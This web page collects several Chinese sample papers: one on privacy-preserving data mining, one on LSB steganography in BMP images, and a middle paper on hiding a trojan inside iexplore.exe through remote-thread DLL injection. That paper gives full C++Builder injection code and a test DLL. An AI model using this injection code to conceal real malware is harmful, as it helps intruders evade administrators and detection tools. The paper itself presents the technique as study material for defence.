[1]张月红:《网络安全与技术》,湖北长江出版社

[2]李明强:《操作系统安全综述》,《计算机世界报》

隐藏技术论文范文7

关键词:隐私保护;数据挖掘;数据关联规则

中图分类号:TP311 文献标识码:A 文章编号:1672-3791(2015)05(c)-0000-00

计算机信息时代的来临在为人们的日常生产、生活带来较大便利的同时,也对个人、群体以及相关组织、机构的隐私产生了较大威胁,因隐私泄露而导致的社会冲突也在不断加剧,故为了在大数据时代下,进一步保护人们的隐私,本文对基于隐私保护的数据挖掘技术做出了系统的分析和研究。

1 数据挖掘技术概述

数据挖掘又称为数据采矿,是通过相关算法在大量的数据中搜索并找出隐藏在其中各类信息的技术。数据挖掘在研究过程中主要借助了以下两方面领域的研究思想,首先是统计学的抽样以及估计与假设检验,通过在大量的数据中挑选出可能蕴含可用信息的数据,进而对数据中蕴含的信息进行假设和检验分析;其次是基于人工智能识别与计算机网络学习的搜索算法,通过对样本数据进行优化、计算和处理,进而得到所需信息[1]。然而,随着数据挖掘技术的日益发展,使得在发现知识和信息的同时,人们的隐私权也收到了严重的威胁。因此,数据挖掘工作者有必要也必须在进行数据挖掘的同时,做好数据源以及相关挖掘结果的隐私保护工作。

2 基于隐私保护的数据挖掘分类

不同的分类标准所对应的隐私保护的数据挖掘技术也存在较大差异,以基本策略为依据,可将基于隐私的数据挖掘方法分为:(1)数据扰乱法。通过在研究过程中对数据进行随机变换,或对数据进行离散与添加噪声,以达到对原始数据进行干扰的目的,其代表算法为MASK法;(2)查询限制法。通过对数据进行隐藏、抽样和划分,以达到尽量避免数据挖掘者拥有完整原始数据的目的,在此基础上,借助分布式计算或是概率统计,获得所需的数据挖掘结果。但在利用查询限制法进行隐私保护时,经常存在一个问题,即所提供的数据全部为真实的原始数据,虽然不完整,但也会降低对隐私的保护效果。以隐私保护的结束为依据,可将相关的数据挖掘方法分为:(1)启发式技术。启发式技术又称为扫描技术,通过将数据挖掘的经验和相关知识移植到检查病毒的软件当中,进而查找出可能存在侵犯用户隐私的恶意程序或代码;(2)密码技术。密码技术是研究如何较为隐蔽地传递信息的一门技术,通过应用分组密码和流密码等相关技术,从而对陌生的数据访问请求进行拦截,以达到保护隐私的作用;(3)重构技术。通过利用数据重构技术,通过结果转换以及格式变换和类型替换等方式对数据空间的结构和格式做出调整,在实现异构数据与多源数据有效融合的基础上,降低隐私数据被篡改或盗用的可能[2]。

3 基于隐私保护的数据关联规则挖掘分析

3.1集中式数据隐私保护

集中式数据隐私保护的关联规则挖掘技术在隐私保护中的应用主要体现在源数据保护和规则隐藏两方面。在源数据的保护方面的数据挖掘技术主要包括了基于数据扰乱以及分布重构关联规则算法,即当前应用较为广泛的MASK算法,此算法通过对数据进行扰乱以及分布重构,来达到隐私保护关联规则挖掘的目的。具体方法为:通过将原始数据作为保密数据(保密目标),使其服从于未知分布U,引入一组扰动数据,令其分布特定分布R,并输入随机扰动后的数据;对随机扰动后的数据进行存储,另引入一组扰动数据,使其仍然服从于特定分布R,作用后,将原始数据U输出。在此过程中,加入随机扰动数据后,在降低了侵犯隐私行为成功的可能性的同时,也使得数据挖掘工作人员获得了其想要得到了目标数据[3]。

在规则隐藏方面,则主要体现在Alog系列的相关算法上,例如MinFIA以及MaxFIA和Native算法等,需要说明的是,各类算法所要隐藏的同一数据库中的不同敏感规则,其彼此间是相互独立的,其大都通过借助降低置信度以及支持度来达到对相关数据挖掘规则进行隐藏的目的。近年来,关于集中式数据隐私保护的规则隐藏方面的研究颇受关注,相关的规则隐藏方法还包括:(1)数据替代法,通过以随机数据代替原始数据,以达到降低隐藏规则中项目支持度与可信度的目的,此外,对数据挖掘后所残留的非敏感性规则还具有较小的影响,进而从整体上提高所挖掘的数据的质量;(2)删除项与增加项的结合。通过将删除项和增加项进行随机结合,从而使原有规则的支持度发生变更,此方法的好处在于,所产出的规则相异度与规则丢失率能够得到有效降低,从而达到对目标数据进行保护的目的。

3.2分布式数据隐私保护

分布式环境中,用户隐私关联规则挖掘的关键在于对全局频繁项集进行计算,同时,加强对加密技术的应用,以确保相关隐私信息不会外泄。就现阶段而言,分布式数据关联规则的隐私保护方法主要包括了安全交集大小运算、安全求并集运算以及安全与运算等算法。而分布式数据的隐私保护主要包括两方面,分别为水平分布下隐私保护的关联规则挖掘与垂直分布下的隐私保护关联规则的挖掘。

在水平分布的隐私保护关联规则挖掘方面,除了需要对结果进行正确挖掘外,还需要对实施保护的相关开销以及通信代价与安全强度进行计算。例如,可先运用数学方法对不同分布站点的数据进行变换,而后,恢复全局计数项集的支持度,以此,来搜索并发现数据挖掘时的全局频繁集,进而找出并确定关联规则[4]。在垂直分布的隐私保护关联规则挖掘方面,在同一时间内,以不同站点的数据为依据,对所有项集的计数进行计算,进而找出超过阀值的支持度全局频繁集,以达到对数据进行保护的目的。

结论:本文通过对数据挖掘的概念以及隐私保护的必要性进行分析,在对不同依据下数据挖掘的隐私保护方法进行分类的基础上,分别从集中式数据隐私保护和分布式数据隐私保护两方面对基于隐私保护的数据关联规则挖掘方法做出了全面的论述和分析。研究结果表明,源数据与隐藏规则保护方法能够较好地满足集中式数据隐私保护的要求,而以数学方法和全局频繁集算法为主的水平分布与垂直分布隐私保护能够加好地实现分布式数据的隐私保护。可见,未来加强对基于隐私保护的数据挖掘技术方面的研究,对于在保证用户隐私的前提下,提高数据挖掘效率,具有重要的历史作用和现实意义。

参考文献:

[1]李学国,冯刚.面向社交网络隐私保护的数据挖掘方法研究[J].科技通报,2013,01(18):128-131.

[2]张海涛,黄慧慧,徐亮,等.隐私保护数据挖掘研究进展[J].计算机应用研究,2013,12(15):3529-3535.

隐藏技术论文范文8

关键字进程  线程  木马  动态链接库

    木马程序(也称后门程序)是能被控制的运行在远程主机上的程序,由于木马程序是运行在远程主机上,所以进程的隐藏无疑是大家关心的焦点。

本文分析了windows nt/2000系统下进程隐藏的基本技术和方法,并着重讨论运用线程嫁接技术如何实现windows nt/2000系统中进程的隐藏。

1 基本原理

    在win95/98中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在windows nt/2000中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能躲过windows nt/2000的任务管理器,windows nt/2000的任务管理器均能轻松显示出木马进程,难道在windows nt/2000下木马真的再也无法隐藏自己的进程了?我们知道,在windows系统下,可执行文件主要是exe和com文件,这两种文件在运行时都有一个共同点,会生成一个独立的进程,寻找特定进程是我们发现木马的方法之一,随着入侵检测软件的不断发展,关联进程和socket已经成为流行的技术,假设一个木马在运行时被检测软件同时查出端口和进程,我们基本上认为这个木马的隐藏已经完全失败。在windows nt/2000下正常情况用户进程对于系统管理员来说都是可见的,要想做到木马的进程隐藏,有两个办法,第一是让系统管理员看不见你的进程;第二是不使用进程。本文以第二种方法为例加以讨论,其基本原理是将自已的木马以线程方式嫁接于远程进程之中,远程进程则是合法的用户程序,这样用户管理者看到的只是合法进程,而无法发现木马线程的存在,从而达到隐藏的目的。

2 实现方法

为了弄清实现方法,我们必须首先了解windows系统的另一种"可执行文件"----dll,dll是dynamic link library(动态链接库)的缩写,dll文件是windows的基础,因为所有的api函数都是在dll中实现的。dll文件没有程序逻辑,是由多个功能函数构成,它并不能独立运行,一般都是由进程加载并调用的。因为dll文件不能独立运行,所以在进程列表中并不会出现dll,假设我们编写了一个木马dll,并且通过别的进程来运行它,那么无论是入侵检测软件还是进程列表中,都只会出现那个进程而并不会出现木马dll,如果那个进程是可信进程,(例如浏览器程序iexplore.exe,没人会怀疑它是木马吧?)那么我们编写的dll作为那个进程的一部分,也将成为被信赖的一员,也就达到了隐藏的目的。

运行dll方法有多种,但其中最隐蔽的方法是采用动态嵌入技术,动态嵌入技术指的是将自己的代码嵌入正在运行的进程中的技术。理论上来说,在windows中的每个进程都有自己的私有内存空间,别的进程是不允许对这个私有空间进行操作的,但是实际上,我们仍然可以利用种种方法进入并操作进程的私有内存。动态嵌入技术有多种如:窗口hook、挂接api、远程线程等,这里介绍一下远程线程技术,它只要有基本的进线程和动态链接库的知识就可以很轻松地完成动态嵌入。

    远程线程技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。我们知道,在进程中,可以通过createthread函数创建线程,被创建的新线程与主线程(就是进程启动时被同时自动建立的那个线程)共享地址空间以及其他的资源。但是很少有人知道,通过createremotethread也同样可以在另一个进程内创建新线程,被创建的远程线程同样可以共享远程进程(是远程进程)的地址空间,所以,实际上,我们通过一个远程线程,进入了远程进程的内存地址空间,也就拥有了那个远程进程相当的权限。

3 实施步骤

1)      用process32next()函数找到宿主进程,获取宿主进程id,并用

        openprocess()函数打开宿主进程。

2)      用virtualallocex()函数分配远程进程地址空间中的内存。

3)      用writeprocessmemory()函数将待隐藏的dll的路径名。

4)      拷贝到步骤二已经分配的内存中。

5)      用getprocaddress()函数获取loadlibrarya()函数的实地址(在kernel32.dll中)。

6)      用createremotethread()函数在远程进程中创建一个线程。

7)      它调用正确的loadlibrarya()函数。

8)      为它传递步骤二中分配的内存地址。

4  具体实例

    下面是在c++builder 4.0环境下编写的运用远程线程技术隐藏木马的程序代码:

#include <vcl.h>

#include <windows.h>

#include <stdio.h>

#include <tlhelp32.h>//该头文件包涵了进程操作的api函数

#pragma hdrstop

#include "unit1.h"

#pragma package(smart_init)

#pragma resource "*.dfm"

insisting pszlibfilename;//存放待隐藏的dll文件名

handle hprocesssnap=null;//进程快照句柄

handle hremoteprocess;//远程进程句柄

lpvoid pszlibfileremote;//远程进程中分配给文件名的空间

hmodule  phmd;//存放kernel32.dll句柄

handle hremotethread1=null;//存放远程线程句柄

tform1 *form1;

//---------------------------------------------------------

__fast call tform1::tform1(tcomponent* owner)

        : tform(owner)

{

}

//---------------------------------------------------------

void __fastcall tform1::button1click(tobject *sender

{

  processentry32 pe32={0};

  dword dwremoteprocessid;

  hprocesssnap=createtoolhelp32snapshot(th32cs_snapprocess,0);

                                         //打开进程快照

  if(hprocesssnap==(handle)-1)

    {

     messagebox(null,"createtoolhelp32snapshot failed","",mb_ok);

     exit(0);

    }  //失败返回

  pe32.dwsize=sizeof(processentry32);

  if(process32first(hprocesssnap,&pe32)) //获取第一个进程

   {

     do{

        ansistring  te;

        te=pe32.szexefile;

         if(te.pos("iexplore.exe")|| te.pos("iexplore.exe"))

                                 //找到宿主进程,以iexplore.exe为例

            { dwremoteprocessid=pe32.th32processid;

              break;

            }

       }

     while(process32next(hprocesssnap,&pe32));//获取下一个进程

   }

  else

   {

    messagebox(null,"取第一个进程失败","",mb_ok);

    exit(0);

   }

   hremoteprocess=openprocess(process_create_thread|process_vm

             _operation|process_vm_write,false,dwremoteprocessid);

                                     //打开远程进程

   pszlibfilename=getcurrentdir()+"\\"+"hide.dll";

                                     // 假设hide.dll是待隐藏的进程

   int cb=(1+pszlibfilename.length())*sizeof(char);//计算dll文件名长度

   pszlibfileremote=(pwstr)virtualallocex(hremoteprocess,null,cb,

            mem_commit,page_readwrite);

                                    //申请存放文件名的空间

   bool returncode=writeprocessmemory(hremoteprocess,

            pszlibfileremote,(lpvoid)pszlibfilename.c_str(),cb,null);

                                   //把dll文件名写入申请的空间

   phmd=getmodulehandle("kernel32.dll");

   lpthread_start_routine fnstartaddr=(lpthread_start_routine)

            getprocaddress(phmd,"loadlibrarya");

                                  //获取动态链接库函数地址

   hremotethread1=createremotethread(hremoteprocess,null,0,

            pfnstartaddr,pszlibfileremote,0,null);

                                  //创建远程线

   if(hremotethread1!=null)

     closehandle(hremotethread1);//关闭远程线程

   if(hprocesssnap!=null)

     closehandle(hprocesssnap);//关闭进程快照

}

该程序编译后命名为rmtdll.exe,运行时点击界面上的按钮即可。

    至此,远程嵌入顺利完成,为了试验我们的hide.dll是不是已经正常地在远程线程运行,我同样在c++builder4.0环境下编写并编译了下面的hide.dll作为测试:

#include <vcl.h>

#include <windows.h>

#pragma hdrstop

#pragma argsused

bool winapi dllentrypoint(hinstance hinst, unsigned long reason, void* lpreserved)

{

   char szprocessid[64];

   switch(reason)

    {

      case dll_process_attach:

       {//获取当前进程id

        itoa(getcurrentprocessid(),szprocessid,10);

        messagebox(null,szprocessid,"remotedll",mb_ok);

        break;

       }

      default:

    }

  return true;

}

当使用rmtdll.exe程序将这个hide.dll嵌入iexplore.exe进程后假设pid=1208),该测试dll弹出了1208字样的确认框,同时使用ps工具

也能看到:

process id: 1208

c:\winnt\iexplore.exe (0x00400000)

……

c:\winnt\hide.dll (0x100000000)

……

这证明hide.dll已经在iexplore.exe进程内正确地运行了。上面程序的头文件由编译器自动生成,未作改动,故略之。

5  结束语

    进程隐藏技术和方法有很多,而且这一技术发展也相当快,本文仅从一个侧面加以讨论,希望通过这一探讨让我们对进程隐藏技术有一个更清楚的认识,同时也为我们防范他人利用进程隐藏手段非法入侵提供参考,本文抛砖引玉,不当之处诚恳批评指正。

 

参考文献

1  jeffrey richter著 王建华、张焕生、侯丽坤等译  windows核心编程   机械工业出版社2 

隐藏技术论文范文9

关键词: 信息隐藏 数字水印 最低有效位算法

一、水印技术

信息隐藏主要应用在需要安全保密通信的部门,利用多媒体信息中的冗余空间携带隐蔽信息,达到秘密信息伪装传递的目的。同时,信息隐藏还要研究其对立面――隐蔽信息的分析和检测,这与密码编制学和密码分析学是类似的,信息隐藏与分析是一对矛盾统一体,它们既相互对立又相互促进。数字水印从实质上说也是一类信息隐藏,但是其目的不是为了保密通信,而是为了标明载体本身的一些信息,如多媒体信息的创作者、版权信息、使用权限等一系列需要标明的信息。利用数字水印,还可以跟踪多媒体产品的非法传播和扩散,打击盗版。数字水印技术目前正处于一个快速发展和持续深入的阶段,应用领域也在快速扩展。从最初的图像水印、音频水印,发展到软件水印、视频水印、文字水印;从最初的算法研究,扩展到行业领域的应用,如数字地图的版权保护、数字图书的版权保护、证件防伪、多媒体数据的检索、电子公文防篡改等。

信息隐藏的目的:1.要回答在一个载体中是否隐藏有秘密信息。2.如果藏有秘密信息,能提取出秘密信息。3.如果藏有秘密信息,不论能否提取出秘密信息,都不想让秘密信息正确到达接收者手中,因此,这就是将秘密信息破坏,但是不影响伪装载体的感观效果(视觉、听觉、文本格式等),也就是说使得接收者能够正确收到伪装载体,但是又不能正确提取秘密信息,并且无法意识到秘密信息已经被攻击。

图像信息隐藏是近年信息隐藏技术中新兴起的研究课题,它以数字图像为掩护媒体,将需要保密的信息按照某种算法嵌入数字图像中,并且要求:1.嵌入信息后的图像与原始图像相比,在人的视觉上没有什么区别;2.数据隐藏要不改变掩护媒体的数据量,即直接对媒体数据的某些部分进行修改,而不增加掩护媒体的数据,这就是数字水印。本文介绍一种利用BMP彩色图像实现信息隐藏的方法。

二、水印算法

本文采用的是最低有效位算法(LSB),这是一种典型的空间域数据隐藏算法。由于该算法是通过调整原始数据的最低几位来隐藏信息,因此一般用户对于隐藏信息在视觉和听觉上很难察觉。该算法虽然有较大的信息隐藏量,但作为数字水印算法,其因基本原理限制,所隐藏的数字水印信息是极为脆弱的,无法经受一些无损和有损的信号处理。

最低有效位算法利用了人们对颜色的一定的敏感,当我们对红绿蓝三相素的亮度作微小的改动,人们的肉眼是无法发现这种差异的。如我们仅将相素的亮度增一或减一,这样就可以隐藏信息。

一幅24位BMP图像,由54字节的文件头和图像数据部分组成,其中文件头不能隐藏信息,从第55字节以后为图像数据部分,可以隐藏信息。图像数据部分是由一系列的8位二进制数所组成,由于每个8位二进制数中“1”的个数或者为奇数或者为偶数,约定:若一个字节中“1”的个数为奇数,则称该字节为奇性字节,用“1”表示;若一个字节中“1”的个数为偶数,则称该字节为偶性字节,用“0”表示。我们用每个字节的奇偶性来表示隐藏的信息。

举例:设一段24位BMP文件的数据为:01100110,00111100,10001111,00011010,00000000,10101011,00111110,10110000,则其字节的奇偶排序为:0,0,1,1,0,1,1,1.现在需要隐藏信息79,由于79转化为8位二进制为01001111,将这两个数列相比较,发现第2,3,4,5位不一致,于是对这段24位BMP文件数据的某些字节的奇偶性进行调制,使其与79转化的8位二进制相一致:

第2位:将00111100变为00111101,则该字节由偶变为奇。

第3位:将10001111变为10001110,则该字节由奇变为偶。

第4位:将00011010变为00011011,则该字节由奇变为偶。

第5位:将00000000变为00000001,则该字节由偶变为奇。

经过这样的处理,此24位BMP文件数据段字节的奇偶性便与79转化的8位二进制数完全相同,这样,8个字节便隐藏了一个字节的信息。

综上所述,将信息嵌入BMP文件的步骤为:

1.将待隐藏信息转化为二进制数据码流。

2.将BMP文件图像数据部分的每个字节的奇偶性与上述二进制数码流进行比较。

3.调整字节最低位的“0”或“1”,改变字节的奇偶性,使之与上述二进制数据流一致,即将信息嵌入到24位BMP图像中。

信息提取是把隐藏的信息从伪装媒体中读取出来,其过程和步骤正好与信息嵌入相反:

1.判断BMP文件图像数据部分每个字节的奇偶性,若字节中“1”的个数为偶数,则输出“0”;若字节中“1”的个数为奇数,则输出“1”。

2.每判断8个字节,便将输出的8位数组成一个二进制数(先输出的为高位)。

经过上述处理,得到一系列8位二进制数,就是隐藏信息的代码。

三、结语

本文主要介绍了数字水印的基本内容,然后给出了数字水印的一个算法最低有效位算法,并给出了这个算法的一个实例。

参考文献:

[1]梁志敏,蔡建.NET安全性与密码术[M].北京:清华大学出版社.

精品推荐
相关期刊